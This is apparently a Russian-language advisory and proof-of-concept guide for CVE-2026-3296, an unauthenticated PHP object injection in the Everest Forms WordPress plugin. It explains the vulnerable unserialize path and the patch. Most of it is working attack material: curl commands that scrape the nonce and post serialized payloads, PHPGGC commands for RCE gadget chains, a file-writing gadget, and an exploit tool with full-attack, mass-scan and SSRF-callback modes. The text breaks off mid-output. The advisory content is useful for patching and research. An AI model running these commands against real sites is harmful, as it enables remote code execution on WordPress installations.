
CVE-2026-3296 - критическая уязвимость неаутентифицированной PHP-инъекции объектов (CVSS 9.8) в плагине Everest Forms для WordPress
CVE-2026-3296 — это критическая уязвимость PHP Object Injection с рейтингом CVSS 9.8 без аутентификации в плагине WordPress Everest Forms
Плагин: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder Идентификатор плагина:
everest-formsИдентификатор CVE: CVE-2026-3296 Оценка CVSS: 9.8 (Critical) Вектор CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HТип уязвимости: Unauthenticated PHP Object Injection → RCE Затронутые версии: <= 3.4.3 Исправленная версия: 3.4.4 Дата публикации: 7 апреля 2026 Исследователь: 0xsabre — Mobikwik / Wordfence
Плагин Everest Forms при отображении метаданных формы в панели администратора вызывает нативную PHP-функцию unserialize() без параметра allowed_classes.
Неаутентифицированный злоумышленник может внедрить сериализованный PHP-объект в любое публичное поле формы и сохранить его в базе данных. Когда запись просматривается в панели администратора, срабатывает unserialize(), и выполняется любая POP-цепочка (gadget chain), доступная в среде.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-3296 |
| CVSS | 9.8 Critical |
| Тип | PHP Object Injection (Deserialization of Untrusted Data) |
| Затронутая версия | <= 3.4.3 |
| Исправленная версия | 3.4.4 |
| Аутентификация | Не требуется (инъекция), Admin (триггер) |
| CWE | CWE-502: Deserialization of Untrusted Data |
ФАЗА 1 — ИНЪЕКЦИЯ (Аутентификация не требуется)
ФАЗА 2 — ТРИГГЕР (Просмотр в панели администратора)
// Срабатывает при каждой загрузке страницы на фронтенде
add_action( 'wp', array( $this, 'listen_task' ) );
// строка 109 — пользовательские данные обрабатываются после санитизации
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
// sanitize_text_field() удаляет HTML-теги, нулевые байты
// НО НЕ удаляет символы PHP-сериализации (O:, s:, {, }, ;)
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Эта полезная нагрузка полностью сохраняется после sanitize_text_field():
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
// return $entry; находится ВНУТРИ цикла foreach
// → Санитизируется только первое поле, остальные поля остаются необработанными
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← ОШИБКА: цикл завершается на первой итерации
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() не изменяет обычные строки
// → Строка сериализованного объекта записывается дословно
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ Параметр allowed_classes ОТСУТСТВУЕТ
// По умолчанию PHP: любые классы могут быть инстанциированы
// → POP-цепочка срабатывает
}
// Эта функция уже существовала — её просто не вызывали
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Безопасно
}
return null;
}
return $data;
}
<!-- Встроен в HTML публичной формы — доступен всем -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce обеспечивает защиту CSRF, а не аутентификацию. Злоумышленник может открыть страницу формы через GET, прочитать nonce, а затем отправить POST-запрос с полезной нагрузкой.
┌──────────────────────────────────────────────────────────────┐
│ ФАЗА 1 — ИНЪЕКЦИЯ (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → сериализация сохранена │
│ ├── maybe_serialize() → строка не изменена │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Администратор выполняет рутинную проверку)
┌──────────────────────────▼───────────────────────────────────┐
│ ФАЗА 2 — ТРИГГЕР (Панель администратора) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← УЯЗВИМОСТЬ │
│ │ allowed_classes = (отсутствует) → все классы │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
⚠️ Отказ от ответственности: Данный PoC предоставлен исключительно в образовательных и защитных исследовательских целях.
Предварительные условия:
TARGET="https://target-site.example.com/contact/"
# Извлечение ID формы
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Извлечение nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
# Безопасный тест — stdClass, магические методы отсутствуют
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Для реальной среды создайте POP-цепочку с помощью PHPGGC:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
Ожидаемый результат: сообщение об успешной отправке формы или перенаправление.
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# Должна появиться строка O:8:"stdClass":2:{...}
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
При загрузке страницы выполняется unserialize().
// test-gadget.php — ИСПОЛЬЗОВАТЬ ТОЛЬКО В ТЕСТОВОЙ СРЕДЕ
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
requests
python everest_forms_poi.py -u http://hedef.com --mode scan
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
| Режим | Описание |
|---|---|
scan | Инъекция безвредной полезной нагрузки — обнаружение уязвимости |
inject | Только фаза 1 — сохранить полезную нагрузку |
trigger | Только фаза 2 — выполнить триггер с правами администратора |
full | Фаза 1 + Фаза 2 — полная атака |
| Параметр | Коротко | Описание | По умолчанию |
|---|---|---|---|
--url | -u | Целевой URL | — |
--list | -l | Файл со списком целей | — |
--threads | -t | Количество потоков | 5 |
--output | -o | Файл вывода | poi_results.txt |
--proxy | — | URL прокси | — |
--force | — | Продолжить, если плагин не обнаружен | False |
| Параметр | Описание | По умолчанию |
|---|---|---|
--form-id | ID формы CF7 | автоматическое определение |
--form-url | URL страницы формы | автоматическое определение |
--field-name | Имя целевого поля | автоматическое определение |
--nonce | Значение nonce формы | автоматическое извлечение |
--entry-id | ID записи (режим trigger) | автоматическое определение |
| Параметр | Описание | По умолчанию |
|---|---|---|
--payload-type | Тип полезной нагрузки | probe |
--custom-payload | Пользовательская сериализованная строка | — |
--cmd | Команда для RCE | id |
--callback-url | URL обратного вызова OOB | — |
| Параметр | Описание |
|---|---|
--admin-user | Имя пользователя администратора |
--admin-pass | Пароль администратора |
| Тип | Описание | Использование |
|---|---|---|
probe | Безвредный stdClass — без побочных эффектов | Обнаружение уязвимости |
file_write | Запись файла (TestGadget) | Проверка в тестовой среде |
ssrf | HTTP callback — обнаружение OOB | Burp Collaborator |
wp_rce | Заготовка POP-цепочки WordPress | Генерация с PHPGGC |
yoast_rce | Заготовка POP-цепочки Yoast SEO | Генерация с PHPGGC |
monolog_rce | Заготовка POP-цепочки Monolog | Генерация с PHPGGC |
💡 Генерация реальной цепочки с PHPGGC:
# WordPress/RCE1 phpggc WordPress/RCE1 system "id" -s # Monolog/RCE1 phpggc Monolog/RCE1 system "id" -s # Список всех доступных цепочек phpggc -l
| Статус | Описание |
|---|---|
★ PWNED | Десериализация сработала + полезная нагрузка выполнена |
★ VULN | Полезная нагрузка внедрена — уязвимость подтверждена |
~ TRIGGERED | Запись просмотрена — проверьте цепочку гаджетов вручную |
- INJ_FAIL | Инъекция не удалась (исправлено / форма не найдена) |
~ NO_FORM | Форма Everest Forms не найдена |
- NO_PLUGIN | Плагин не установлен |
~ NO_CREDS | Отсутствуют учетные данные администратора |
- ADM_FAIL | Вход администратора не удался |
~ UNREACH | Цель недоступна |
[*] Цель : http://hedef.com
[*] Режим : full
[*] Тип нагрузки : probe
[*] Команда : id
[*] Пользователь : admin
[→] http://hedef.com Шаг 1: Поиск формы Everest Forms...
[→] http://hedef.com Шаг 2: Внедрение полезной нагрузки...
[→] http://hedef.com Шаг 3: Выполнение входа администратора...
[→] http://hedef.com Шаг 4: Поиск ID записи...
[→] http://hedef.com Шаг 5: unser